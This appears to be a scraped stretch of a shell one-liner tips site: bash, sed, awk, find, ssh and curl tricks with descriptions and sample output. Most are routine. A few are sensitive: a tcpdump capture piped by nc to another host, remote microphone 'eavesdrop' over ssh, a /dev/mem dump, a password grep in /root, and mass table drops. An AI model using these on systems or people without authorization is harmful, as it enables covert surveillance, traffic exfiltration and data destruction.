's/{/|/' -e 's/}{/|/' -e 's/}/|/' myFile.sub | awk -F "|" 'BEGIN {OFS = "|"} { $2 = $2 - 600; $3 = $3 - 600; print $0 }' | sed -e 's/^|/{/' -e 's/\([0-9]\)|\([0-9]\)/\1}{\2/' -e 's/|/}/' > Fix subtitle timing (for .sub files) Fix a microdvd (.sub) subtitle timing by making the phrases to appear 600 frames earlier. curl http://domain.com/file.tar.gz | tar zx fmiss() { grep -RL "$*" * } Find files with lines that do not match a pattern This one would be much faster, as it's only one executed command. OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS file downloaded Notify Gnome user of files modified today On a Gnome desktop, display a notification that a file modified/created today has downloaded. I use this in a script with get_iplayer's -c option so I know stuff has finished downloading ;) The IFS stuff is to handle spaces in the filename. Command has been trimmed a bit 'cos I specify a directory arg to 'find'. On Debian-based systems you may need to install the 'libnotify-bin' package. Notice -daystart is used to tell mtime means 'today' rather than the last 24 hours. It ain't perfect but it does the job :P cat ~/.viminfo | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p' :1,$s/^[0-9]\+//g show how many regex you use in your vim today i want to count how many regex code i have used in vim in a long time so i make a directory in svn host and post record to this directory of course i dont want to post manually so i worte a script to do that and this is the core thing to do stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; } Functions: grep kill ps Pause and Resume Processes Add that and "cont () { ps -ec | grep $@ | kill -SIGCONT `awk '{print $1}'`; }" (without the quotes) to you bash profile and then use it to pause and resume processes safely while [ 1 -lt 2 ]; do i=0; COL=$((RANDOM%$(tput cols)));ROW=$((RANDOM%$(tput cols)));while [ $i -lt $COL ]; do tput cup $i $ROW;echo -e "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null ; i=$(expr $i + 1); done; done Functions: cat cut expr head tput Blue Matrix Same as original, but works in bash tail -f /var/log/squid/access.log | perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e' 1310045550.240 0 10.10.10.27 TCP_HIT/200 1344 GET http://somedomain.com/ (...) [Thu Jul 7 15:32:30 2011].240 0 10.10.10.27 TCP_HIT/200 1344 GET http://somedomain.com (...) read squid logs with human-readable timestamp nm --defined-only --print-file-name lib*so 2>/dev/null | grep ' pthread_create$' Functions: grep nm look for a function reference in a library set find /home/ -type f -exec du {} \; 2>/dev/null | sort -n | tail -n 10 | xargs -n 1 du -h 2>/dev/null Functions: du find sort tail xargs This combines the above two command into one. Note that you can leave off the last two commands and simply run the command as "find /home/ -type f -exec du {} \; 2>/dev/null | sort -n | tail -n 10" The last two commands above just convert the output into human readable format. sed -n '15p' $file Prints exactly 15th line of $file. You can also specify a range: sed -n '2,18p' $file - this will print lines 2 to 18, inclusive. netstat -plantu [root@server ~]# netstat -plantu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Show all listening and established ports TCP and UDP together with the PID of the associated process Easy to remenber. Fot TCP only use: netstat -plant rsync -Pz user@remotehost:/path/file.dat . file.dat sent 43505 bytes received 18909323 bytes 176305.38 bytes/sec total size is 40401755 speedup is 2.13 Copy a file from a remote server to your local box using on-the-fly compression -P displays a progress meter -z tells rsync to use compression vim `which <scriptname>` Edit a script that's somewhere in your path. Often I need to edit a bash or perl script I've written. I know it's in my path but I don't feel like typing the whole path (or I don't remember the path). ulimit -s 64 Create more threads with less stack space default stack size is 10M. This makes your multithread app filling rapidly your memory. on my PC I was able to create only 300thread with default stack size. Lower the default stack size to the one effectively used by your threads, let you create more. ex. putting 64k I was able to create more than 10.000threads. Obviously ...your thread shouldn't need more than 64k ram!!! curl --silent "FEED ADDRESS" |sed -e 's/<\/[^>]*>/\n/g' -e 's/<[^>]*>//g % curl --silent "http://feeds.bbci.co.uk/news/rss.xml" |sed -e 's/<\/[^>]*>/\n/g' -e 's/<[^>]*>//g' Quick and dirty RSS runs an rss feed through sed replacing the closing tags with newlines and the opening tags with white space making it readable. <space> secret -p password % history 2 something history 2 % Enter a command but keep it out of the history Put a space in front of your command on the command line and it will not be logged as part of your command line history. patch originalfile -i my.patch -o newfile; mv newfile originalfile Functions: mv patch diff originalfile updatedfile > my.patch ‹ First < 151 152 153 154 155 > Last › for File in *.jpg; do mogrify -resize 1024 -quality 96 $File; done Change size of lots of image files. Imagemagick library is used. tar cvfz changes.tar.gz --exclude-vcs `svn diff -rM:N --summarize . | grep . | awk '{print $2}' | grep -E -v '^\.$'` Functions: awk diff grep tar Get a range of SVN revisions from svn diff and tar gz them Handy when you need to create a list of files to be updated when subversion is not available on the remote host. You can take this tar file, and upload and extract it where you need it. Replace M and N with the revisions specific to yours. Make sure you do this from an updated (svn up) working directory. find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5 | sed -e '2,$s/$/+/' -e '$ap' | dc 290545766 Functions: cut dir find ls sed xargs find out how much space are occuipied by files smaller than 1024K The command gives size of all files smaller than 1024k, this information, together with disk usage, can help determin file system parameter (e.g. block size) or storage device (e.g. SSD v.s. HDD). Note if you use awk instead of "cut| dc", you easily breach maximum allowed number of records in awk. while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done Press a key automatically Press a key automatically via xvkbd. underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:-=}"; done; printf "\n"; } $ underline 'Underline me!' Underline me! ============= $ underline 'Underline me with dashes!' '-' Underline me with dashes! ------------------------- shell function to underline a given string. underline() will print $1, followed by a series of '=' characters the width of $1. An optional second argument can be used to replace '=' with a given character. This function is useful for breaking lots of data emitted in a for loop into sections which are easier to parse visually. Let's say that 'xxxx' is a very common pattern occurring in a group of CSV files. You could run grep xxxx *.csv This would print the name of each csv file before each matching line, but the output would be hard to parse visually. for i in *.csv; do printf "\n"; underline $i; grep "xxxx" $i; done Will break the output into sections separated by the name of the file, underlined. sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p" MySQL: Slice out a specific table from the output of mysqldump Only filters the statement related to a specific table ('departments', in the example), from the output of mysqldump awk '{a[i++]=$0} END {for (j=i-1; j>=0;) print a[j--] }' awk reverse order of lines (emulates "tac") sudo update-alternatives --config editor Change the default editor for modifying the sudoers list. On Ubuntu, the default editor for visudo is nano. To change the editor to something else (e.g., vi) use this command. box() { l=${#1}+4;x=${2:-=};n $l $x; echo "$x $1 $x"; n $l $x; }; n() { for (( i=0; $i<$1; i=$i+1)); do printf $2; done; printf "\n"; } The function 'box' takes either one or two arguments. The first argument is a line of text to be boxed, the second argument (optional) is a character to use to draw the box. By default, the drawing character will be '='. The function 'n()' is a helper function used to draw the upper and lower lines of the box, its arguments are a length, and an character to print. (I used 'n' because 'line', 'ln' and 'l' are all commonly used) df -l | grep -e "9.%" -e "100%" Functions: df grep Report full partitions from a cron Reports all local partitions having more than 90% usage. Just add it in a crontab and you'll get a mail when a disk is full. (sending mail to the root user must work for that) tune2fs -c -1 -i 0 /dev/VG0/data turn off auto hard disc boot scanning for ext3 info gpg |less File: *manpages*, Node: gpg, Up: (dir) GPG(1) GNU Privacy Guard GPG(1) NAME : (The happy 'less' prompt!) Functions: gpg info Read info(1) pages using 'less' instead of GNU Texinfo I like man pages, and I like using `less(1)` as my pager. However, most GNU software keeps the manual in the 'GNU Texinfo' format, and I'm not a fan of the info(1) interface. Just give me less. This command will print out the info(1) pages, using the familiar interface of less! echo -n "String to MD5" | md5sum | sed -e 's/[0-9a-f]\{2\}/& /g' -e 's/ -//' 23 e4 a2 a9 d1 c1 25 73 3a 2e 6b 79 7f 7f 54 ef Functions: echo md5sum sed Generate MD5 of string and output only the hash checksum in a readable format Generates the md5 hash, without the trailing " -" and with the output "broken" into pairs of hexs. TZ=XYZ24 date Get me yesterday's date, even if today is 1-Mar-2008 and yesterday was 29-Feb-2008 Fool date by setting the timezone out by 24 hours and you get yesterday's date. Try TZ=XYZ-24 to get tomorrow's date. I live in TZ=GMT0BST so you might need to shift the number 24 by the hours in your timezone. svn info | grep '^URL:' | egrep -o '(tags|branches)/[^/]+|trunk' | egrep -o '[^/]+$' trunk Functions: egrep grep info Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases) Get the svn info, grep for the "URL" of the repository, pull out the tag/branch/trunk, and then just show the helpful/meaningful bit. cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'`".bin --device ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t]*$//'`".toc Rips CDs (Playstation, etc.) and names the files the same as the volume name curl -s "http://www.socrata.com/api/views/vedg-c5sb/rows.json?search=Axelrod" | grep "data\" :" | awk '{ print $17 }' "172200.00" Find the annual salary of any White House staffer. Query the Socrata Open Data API being used by the White House to find any employee's salary using curl, grep and awk. Change the value of the search parameter (example uses Axelrod) to the name of any White House staffer to see their annual salary. curl -s 'http://www.discogs.com/search?q=724349691704' | sed -n '\#/release/#{s/^<div>.*>\(.*\)<\/a><\/div>/\1/p}' Iron Maiden - Killers Find artist and title of a music cd, UPC code given (first result only) I like curl better than wget, I just think that curl -s is a lot simpler than wget ... see I forget what you even have to do to get wget to pipe it's output Anyway, all in one sed command as "requested" mtr --report --report-cycles 10 www.google.com > google_net_report.txt HOST: localhost Loss% Snt Last Avg Best Wrst StDev Use mtr to create a text file report The report mode of mtr produces a text formated result of the mtr run using the number of ping cycles stated by the command. This text file could then be attached to an email with ease. I use this also without the ">" portion when writing email from within mutt using VI from the command mode with ":r !mtr --report --report-cycles 10 shutdown -h 60 Broadcast message from root (pts/6) (Sun Aug 23 11:57:32 2009): The system is going DOWN for system halt in 60 minutes! power off system in X minutes Replace 60 with the number of minutes until you want the machine to shut down. Alternatively give an absolute time in the format hh:mm (shutdown -h 9:30) Or shutdown right away (shutdown -h now) find -name `egrep -s '.' * | awk -F":" '{print $1}' | sort -u` -exec stat {} \; File: `./blah' Size: 5 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 2490500 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1000/ cdw) Gid: ( 100/ users) Access: 2009-12-28 15:43:14.000000000 -0600 Modify: 2010-04-26 14:57:42.000000000 -0500 Change: 2010-04-26 14:57:42.000000000 -0500 Functions: awk find sort stat This will run stat on each file in the directory. alias sagi="yes | sudo apt-get install" easier sudo apt-get install This alias is quicker to type than 'sudo apt-get install', and it automatically says yes to the prompt that shows up sometimes. mkdir /Volumes/sshdisk 2> /dev/null; sshfs user@server:/ /Volumes/sshdisk -oreconnect,volname=SSHDisk Creates a SSHFS volume on MacOS X (better used as an alias). Needs FuseFS and SSHFS (obvioulsly). To make it even more practical, make sure you can login to the ssh server using a keypair. dd if=/dev/random of=bigfile bs=1024 count=102400 Create a 100MB file for testing transfer speed Create aliases for common vim minibuffer/cmd typos In .vimrc: command! W w command! -nargs=1 Vs vs <args> command! -nargs=1 VS vs <args> command! -nargs=1 Vs vs <args> Because entering ':' requires that you press shift, sometimes common command-line / mini-buffer commands will be capitalized by accident. ‹ First < 152 153 154 155 156 > Last › H=$(until ([ $i -le 6 -a $i -gt 0 -o $i -le 23 -a $i -gt 21 ] ); do i=$(date +%N | cut -c8-10); done ; echo $i) ; M=$(until [ $i -le 59 ]; do i=$(date +%N | cut -c8-10); done ; echo $i) ; echo $M $H \* \* \* backup-rsync-push.sh 33 02 * * * backup-rsync-push.sh Functions: cut date echo create random numbers within range for conjob usage if you need to install cron jobs in a given time range. perl -MText::Highlight -E '$h=Text::Highlight->new(ansi=>1); my $text=do{local $/; open my $fh, "<", $ARGV[0]; <$fh>}; say $h->highlight("Perl", $text);' path/to/perl-file.pl Syntax Highlight your Perl code This uses Text::Highlight to output the specified Perl file with syntax highlighting. A better alternative is my App::perlhl - find it on the CPAN: http://p3rl.org/App::perlhl i=0;while :; do i=$(expr "$i" + 1); scrot "$i".png; sleep 2; done; Functions: expr sleep Take a screenshot every 2 seconds Take a screenshot every 2 seconds and save it as a png file perl -ane 'END{printf(" %d %d %d\n", $x, $y, $z)} $x+=1; $y+=@F; $z+=length' file.txt wc in perl ssh-keygen -R $(dig +short host.domain.tld) Functions: dig ssh ssh-keygen find . -regex "[^.]*" -depth -empty -type d -mtime +1 -exec rmdir -v {} \; function jumpTo { xmms2 jump `xmms2 list | grep -i '$1' | head -n 1 | tail -n 1 | sed -re 's@.+\[(.+)/.+\] (.+)@\1@'`; } Functions: grep head sed tail Jump to a song in your XMMS2 playlist, based on song title/artist > jumpTo foo The script will search for the 'foo' pattern in your current xmms2 playlist (artist or songname), and play the first occurence of it ! ctags -R Functions: ctags Recursively create a TAGS file for an entire source tree. TAGS files are useful for editors like Vim and Emacs convert in.pdf out.jpg Extracts PDF pages as images cat /dev/urandom | hexdump -C | highlight ca fe 3d 42 e1 b3 ae f8 | perl -MTime::HiRes -pne "Time::HiRes::usleep(rand()*1000000)" mike@charron:~$ boss 00000000 54 50 35 84 2f cf 99 ea 3b e1 60 eb 08 f1 54 35 |TP5./...;.`...T5| 00000010 78 86 70 26 9e 24 f8 92 10 da 08 3c 63 10 49 32 |x.p&.$.....<c.I2| 00000020 40 e7 6d 2b e1 ef 6e ad bf eb 4c 55 aa 41 f8 2e |@.m+..n...LU.A..| 00000030 d3 2c ef 83 a7 85 de 3b 88 cd ff 7d f7 42 31 ed |.,.....;...}.B1.| 00000040 77 be 21 4f a0 5a bd e7 a1 4e d6 73 2d 74 b0 be |w.!O.Z...N.s-t..| 00000050 75 c6 6f 6e 38 ac 54 69 6f 00 51 95 ae 7d 13 d3 |u.on8.Tio.Q..}..| 00000060 d9 a4 2c 81 8a 07 38 55 b3 45 e3 62 97 2e 86 ca |..,...8U.E.b....| Functions: cat hexdump perl shell equivalent of a boss button Nobody wants the boss to notice when you're slacking off. This will fill your shell with random data, parts of it highlighted. Note that 'highlight' is the Perl module App::highlight, not "a universal sourcecode to formatted text converter." You'll also need Term::ANSIColor. hdiutil makehybrid -udf -udf-volume-name DVD_NAME -o MY_DVD.iso /path/ Make a DVD ISO Image from a VIDEO_TS folder on MacOSX /path/ is the root folder of the DVD, not the VIDEO_TS folder. find . -type f -size 0 -delete Erase empty files The command find search commands with size zero and erase them. export MANPAGER='most' Use "most" as your man pager you should have the "most" package installed. I like it because it is colorful and easier to read. alternatively you can use "less" instead of "most". you can also add this to your ~/.bashrc to make it permanent. Convert spaces in file names to underscores rar a -m0 "${PWD##*/}.rar" * Automatically create a rar archive This command creates a rar archive from all files in the current folder and names the archive after the folder name. setfont cybercafe Change framebuffer font setfont load vga console font. The default font directory is usually in /lib/kbd/consolefonts. Setfont is part of kbd package. Tested on CentOS. pkill xmms Kill XMMS for a cron job curl -s www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}' -0.8 This could be used to filter commands that might be from trolls ssh USER@REMOTESYSTEM arecord - | aplay - Recording WAVE '-' : Unsigned 8 bit, Rate 8000 Hz, Mono Playing WAVE 'stdin' : Unsigned 8 bit, Rate 8000 Hz, Mono eavesdrop Record off the microphone on a remote computer and listen to it live through your speakers locally. wget -U "Mozilla/5.0" -qO - "http://translate.google.com/translate_a/t?client=t&text=translation+example&sl=auto&tl=fr" | sed 's/\[\[\[\"//' | cut -d \" -f 1 exemple de traduction Functions: cut sed wget substitute "example" with desired string; tl = target language (en, fr, de, hu, ...); you can leave sl parameter as-is (autodetection works fine) host google.com google.com has address 74.125.67.100 google.com has address 209.85.171.100 google.com has address 74.125.45.100 google.com mail is handled by 10 smtp2.google.com. google.com mail is handled by 10 smtp3.google.com. google.com mail is handled by 10 smtp4.google.com. google.com mail is handled by 10 smtp1.google.com. host - DNS lookup utility host is a simple utility for performing DNS lookups. It is normally used to convert names to IP addresses and vice versa. When no arguments or options are given, host prints a short summary of its command line arguments and options. newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue; [[ -z $candidate || $i -nt $candidate ]] && candidate="$i"; done; echo "$candidate"; } A function to find the newest file of a set. Usage example: newest Desktop/* Replace "-nt" with "-ot" for oldest. Run shopt -s dotglob first to include dotfiles. leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ] && echo leap || echo not leap; } Leap year calculation mwiki () { dig +short txt `echo $*|sed 's| *|_|g'`.wp.dg.cx; } sendEmail -f anything@anithing.com -u subject of nessage -t youfriend@hisdomain -m message to him sendEmail - easiest commandline way to send e-mail ‹ First < 153 154 155 156 157 > Last › grep -v "^#" file.txt | more view all lines without comments. nice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img" DUMP: Date of this level 0 dump: Thu Oct 29 12:39:05 2009 DUMP: Dumping /dev/mapper/backup (/backup) to standard output DUMP: Label: none DUMP: Writing 10 Kilobyte records DUMP: Compressing output at compression level 9 (zlib) DUMP: mapping (Pass I) [regular files] DUMP: mapping (Pass II) [directories] DUMP: estimated 568617 blocks. DUMP: Volume 1 started with block 1 at: Thu Oct 29 12:39:10 2009 DUMP: dumping (Pass III) [directories] DUMP: dumping (Pass IV) [regular files] DUMP: 3.29% done at 62 kB/s, finished in 2:27 DUMP: 6.46% done at 61 kB/s, finished in 2:24 DUMP: 9.65% done at 60 kB/s, finished in 2:20 DUMP: 12.84% done at 60 kB/s, finished in 2:15 DUMP: 16.06% done at 60 kB/s, finished in 2:10 DUMP: 19.28% done at 60 kB/s, finished in 2:05 Functions: dump gpg nice ssh Backup a filesystem to a remote machine and use cstream to throttle bandwidth of the backup This command will nicely dump a filesystem to STDOUT, compress it, encrypt it with the gpg key of your choice, throttle the the data stream to 60kb/s and finally use ssh to copy the contents to an image on a remote machine. find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate f2e6bb247f110dcab63b4d38ff7b2dee ./themes/darkblue_orange/img/b_relations.png f2e6bb247f110dcab63b4d38ff7b2dee ./themes/original/img/b_relations.png f5309bd2a2fc5e512a0cc38ac6f10c09 ./themes/darkblue_orange/img/b_deltbl.png f5309bd2a2fc5e512a0cc38ac6f10c09 ./themes/original/img/b_deltbl.png f60bfbb7ce218a55650c1abbbbee06ae ./themes/darkblue_orange/img/s_lang.png f60bfbb7ce218a55650c1abbbbee06ae ./themes/original/img/s_lang.png f63a5ad833147eeb94adb4496ddbec41 ./themes/darkblue_orange/img/s_theme.png f63a5ad833147eeb94adb4496ddbec41 ./themes/original/img/s_theme.png f6ae61146ce3de8fa11b9e84e086bd04 ./themes/darkblue_orange/img/bd_drop.png f6ae61146ce3de8fa11b9e84e086bd04 ./themes/original/img/bd_drop.png f95d66c11bfed9198d13a278269c32b2 ./themes/darkblue_orange/img/s_loggoff.png f95d66c11bfed9198d13a278269c32b2 ./themes/original/img/s_loggoff.png Find Duplicate Files, excluding .svn-directories (based on size first, then MD5 hash) Improvement of the command "Find Duplicate Files (based on size first, then MD5 hash)" when searching for duplicate files in a directory containing a subversion working copy. This way the (multiple dupicates) in the meta-information directories are ignored. Can easily be adopted for other VCS as well. For CVS i.e. change ".svn" into ".csv": find -type d -name ".csv" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type d -name ".csv" -prune -o -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate chmod -R u=rwX,g=rX,o=rX . Reconstruct standard permissions for directories and files in current directory calc() { python -c "from math import *; print $1"; } > calc "sin(pi/3.0)**2" 0.75 > calc "log(e)" 1.0 This function defines a command line calculator that handles everything pythons math module can handle, e.g. trigonometric functions, sqrt, log, erf, ... (see http://docs.python.org/library/math.html). It even knows about the constants pi and e. echo "alias topu='top -u USERNAME'" >> ~/.bash_aliases && source .bashrc Create an alias, store it in ~/.bash_aliases and source your new alias into the ~/.bashrc This is useful if you use a shell with a lot of other users. You will be able to run "topu" to see your running processes instead of the complete 'top -u username'. Read more on alias: http://man.cx/alias python -ic "from __future__ import division; from math import *; from random import *" This opens a python command line. You can use math and random and float-division is enabled (without appending .0 to integers). I just don't know how to specify a standard precision. for dir in $(find -type d ! -name CVS); do for file in $(find $dir -maxdepth 1 -type f); do rm $file; cvs delete $file; done; done Functions: cvs dir file find rm Recursively remove all files in a CVS directory This will search all directories and ignore the CVS ones. Then it will search all files in the resulting directories and act on them. calc() { bc <<< $*; } curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file Get a file from SharePoint with cURL If you know the URL of a file on a SharePoint server, it's just a matter of logging in with your AD credentials to get the file with cURL svn status | grep '^?' | awk '{ print $2; }' | xargs svn add $ svn status | grep '^?' ? INFO ? src/svn-commit.tmp ? src/game/Game.java ? src/game/character/Hero.java $ svn status | grep '^?' | awk '{ print $2; }' | xargs svn add $ svn ci A INFO A src/svn-commit.tmp A src/game/Game.java A src/game/character/Hero.java sync svn working copy and remote repository (auto adding new files) Lists the local files that are not present in the remote repository (lines beginning with ?) and add them. find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm Functions: cut find head ls sort tr xargs Find and delete oldest file of specific types in directory tree This works on my ubuntu/debian machines. I suspect other distros need some tweaking of sort and cut. I am sure someone could provide a shorter/faster version. nmblookup -A <ip> $ nmblookup -A 192.168.2.2 Looking up status of 192.168.2.2 Checks for PC samba name and workgroup. Works fine for Windows hosts and Linux/UNIX PCs running Samba. find . -iname '*.jpg' | sed 's/.*/<img src="&">/' > gallery.html Quick HTML image gallery My take on the original: even though I like the other's use of -exec echo, sed just feels more natural. This should also be slightly easier to improve. I expanded this into a script as an exercise, which took about 35 minutes (had to look up some docs): http://bitbucket.org/kniht/nonsense/src/7c1b46488dfc/commandlinefu/quick_image_gallery.py bindkey ^l at "#" log on bindkey ^o at "#" log off Screen enable/disable loggin in all windows The command when added in screenrc enables logging all open windows by using the C-l (control-l key combination) and disable by C-o . The lines need to be added in separate lines . ll /root/ 2>&1 | grep -E '(psw|password)' combining streams 2>&1 permit to combinate stdout and stderr. grep will catch stderr and stdout instead of stdout only. netstat -a --numeric-ports | grep 8321 tcp 0 0 localhost.localdomain:8321 *:* LISTEN tcp 0 0 ::1:8321 *:* LISTEN tell if a port is in use if you don't do --numeric-ports, netstat will try to resolve them to names MYSQL="mysql -h HOST -u USERNAME -pPASSWORD -D DB_NAME" ; $MYSQL -BNe "show tables" | awk '{print "set foreign_key_checks=0; drop table `" $1 "`;"}' | $MYSQL unset MYSQL Functions: awk unset find . | perl -wne 'chomp; print qq|<img src="$_" title="$_" /><br />| if /\.(jpg|gif|png)$/;'> gallery.html Quick HTML image gallery from folder contents with Perl This includes a title attribute so you can see the file name by hovering over an image. Also will hoover up any image format - jpg, gif and png. tail -f `ls -alst /var/log/maillog* | awk '{print $10} NR>0{exit};0'` | grep "criteria" Functions: awk grep tail Tail postfix current maillog and grep for "criteria" Tail curren postfix maillog. ls $(grep cifs /etc/fstab | grep -v ^# |awk ' { print $2 } ') 1>/dev/null ls: cannot access /shares/01/public: No such device or address ls: cannot access /shares/01/dev: No such file or directory ls: cannot access /shares/01/websites: No such device or address ls: cannot access /shares/01/utils: No such device or address ls: cannot access /shares/joe: Host is down Functions: awk grep ls Get a list of the erroring cifs entries in fstab It disturbs me when my logwatch report tells me a share or machine has disappeared, esp as mount isn't telling me what's gone. This command outputs to stderr the erroring cifs entries from fstab. Play "foo.mpg" in your terminal using ASCII characters mplayer -vo aa foo.mpg mplayer -vo caca will give you a similar result but in color function echox { echo `tput cup $(($(tput lines))) $(( ($(tput cols) - $(echo "${#1}"))/2 ))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; } $ echox "hello world" Functions: echo tput prints message in given argument on on center of screen echox prints given argument on bottom line center screen in terminal function echoxy { echo `tput cup $(($(tput lines)/2)) $(( ($(tput cols) - $(echo "${#1}"))/2))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; } exhoxy prints given argument center screen function echos { echo `tput cup $(($(tput lines)-2)) $(($(tput cols)-$(echo ${#1})))&&tput sc`"$1"`tput cup $(($(tput lines)-2)) 0 && tput rc`; } while [ 1 ]; do echos "`date`"; done echos prints date and time on second from last line (used as status message) you can easily use these functions by placing them in your .bashrc file, make sure to source your .bashrc once you do time (dd if=/dev/zero of=blah.out bs=256M count=1 ; sync ) 268435456 bytes (268 MB) copied, 1.50648 seconds, 178 MB/s real 0m7.119s user 0m0.002s sys 0m0.649s Functions: dd sync time Test your total disk IO capacity, regardless of caching, to find out how fast the TRUE speed of your disks are jot -s '' -r -n 8 0 9 ‹ First < 154 155 156 157 158 > Last › command | sed '/regex/q' Slightly simpler version of previous sed command that does the same thing. In this case, the output will stop at the command, and the entire command will be terminated as well, instead of proceeding through the whole file. ifconfig | awk '/^eth0/ {print $5}' Get MAC address tar cvzf - /wwwdata | ssh root@IP "dd of=/backup/wwwdata.tar.gz" Backup trought SSH <Esc> _ This works if your terminal is in Vi mode ssh -R 9000:localhost:9000 you@remote-php-web-server.com If you need to xdebug a remote php application, which is behind a firewall, and you have an ssh daemon running on that machine. you can redirect port 9000 on that machine over to your local machine from which you run your xdebug client (I am using phpStorm) So, run this command on your local machine and start your local xdebug client, to start debugging. more info: http://code.google.com/p/spectator/wiki/Installing find /myfs -size +209715200c -exec du -m {} \; |sort -nr |head -10 675.07 /myfs/sop/infranc/med/20110201/det_med_MOS.txt 393.57 /myfs/sop/inffin/part/20110407/fact_par_201103.accdb 338.03 /myfs/20110501/det_med_MOS.txt 338.02 /myfs/AC/SGE/20110501/EVID.txt 338.00 /myfs/infranc/med/20110601/det_med_EOV.txt 337.96 /myfs/AC/SGE/20110601/EVID.txt Functions: du find head sort List top 10 files in filesystem or mount point bigger than 200MB Specify the size in bytes using the 'c' option for the -size flag. The + sign reads as "bigger than". Then execute du on the list; sort in reverse mode and show the first 10 occurrences. echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime' Functions: echo ssh xargs ^J tput sgr0 ^J Functions: tput reset an hanging terminal session when your terminal session seems unrensponsive (this normally happen after outputting some binary data directly on your standard output) it may me saned by hitting: CTRL+J tput sgr0 CTRL+J Note: don't press the Enter key, just ctrl+j watch -n 1 nc localhost 80 '<<EOF GET / HTTP/1.1 Host: tux-ninja Connection: Close EOF' Every 1.0s: nc localhost 80 <<EOF Thu Aug 6 16:14:12 2009 Date: Thu, 06 Aug 2009 23:14:12 GMT Server: Apache/2.2.11 (Debian) PHP/5.2.10-2 with Suhosin-Patch mod_python/3.3.1 Python/2.5.4 mod_perl/2.0.4 Perl/v5.10.0 Last-Modified: Tue, 12 May 2009 03:37:41 GMT ETag: "54db7-2d-469aed1260b40" Accept-Ranges: bytes Content-Length: 45 Vary: Accept-Encoding Content-Type: text/html <html><body><h1>It works!</h1></body></html> Test http request every second, fancy display. Use the command watch, which is really hard to pass nested quotes to, and insert newlines where they are supposed to go in the HTTP request. that is after 1.1 after the host and two newlines at the end before the EOF. i use this all day what? no support for HEREDOCs on commandlinefu's interface? need more fu. sniff_host: tcpdump -nn -i eth1 -w - | nc 192.168.0.2 666 alias ..="cd .."; alias ...="cd ../.."; alias ....="cd ../../.." Change to your taste. Much quicker than having to add 'cd' every time. Add it to your .bashrc or .bash_profile. cowsay $(fortune) tree -fi /directory/path/* | grep "\.js" /directory/path/somejavascript.js full path listing in /directory/path/* of javascript files. file listing in /directory/path/* of specific files such as javascript(js) . csvde -f test.csv Output the content of your Active Directory in a CSV file perl -e 'my $in_comment = 0; while (<>) { $in_comment = 1 if m{\Q/*\E}; print if $in_comment; $in_comment = 0 if m{\Q*/\E}; }' *.cpp Find C/C++ source code comments This is a naive way of finding source code comments in source code files that use C-like comments: // and /*...*/ lynx cmdl.in/9058 #commandlinefu.com search plugin RSS commandlinefu.com is the place to record those command-line gems that you return to again and again. Short URL to commandlinefu.com commands Obviously replace the relevant parts as required. The following also work: lynx cmdl.in/efu/by-marcel -or- lynx cmdl.in/efu/view-9058 dd if=/dev/mem of=file.dump bs=1024 skip=0 count=1 1024 bytes (1.0 kB) copied, 0.000986997 s, 1.0 MB/s $ file file.dump file.dump: data $ strings file.dump ReQuQ dump 1KB of data from ram to file find directory/ -exec grep -ni phrase {} + The difference between this and the other alternatives here using only grep is that find will, by default, not follow a symlink. In some cases, this is definitely desirable. Using find also allows you to exclude certain files, eg find directory/ ! -name "*.tmp" -exec grep -ni phrase {} + would allow you to exclude any files .tmp files. Also note that there's no need for calling grep recursively, as find passes each found file to grep. emerge -av1 $(for e in `qlist -I --nocolor | uniq`; do for f in `qlist -e $e`; do if test ! -e $f; then echo $e; echo $e: missing $f 1>&2; fi; done; done) This loops through all installed ebuilds and checks if every file that should be installed is still there and if not adds it to emerge. It includes a verbose output to stderr too. If you have packages installed that have whitespace in their filenames you have to change the IFS to "newline". find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k gain all mp3s in subfolders w/o encoding This will search all subfolders for mp3's and gain them to more or less sane defaults (without reencoding). http://mp3gain.sourceforge.net/ required! gpg --keyserver pgp.mit.edu --recv-keys `gpg --list-key | grep ^pub | awk '{print $2}' | sed 's,^.*/,,g'` gpg: requesting key AAAAAAAA from hkp server pgp.mit.edu gpg: requesting key BBBBBBBB from hkp server pgp.mit.edu gpg: requesting key CCCCCCCC from hkp server pgp.mit.edu gpg: key AAAAAAAA: "John John <john@john.com>" not changed gpg: key BBBBBBBB: "Jack Jack <jack@jack.com>" 2 new signatures gpg: key CCCCCCCC: "Robert Robert 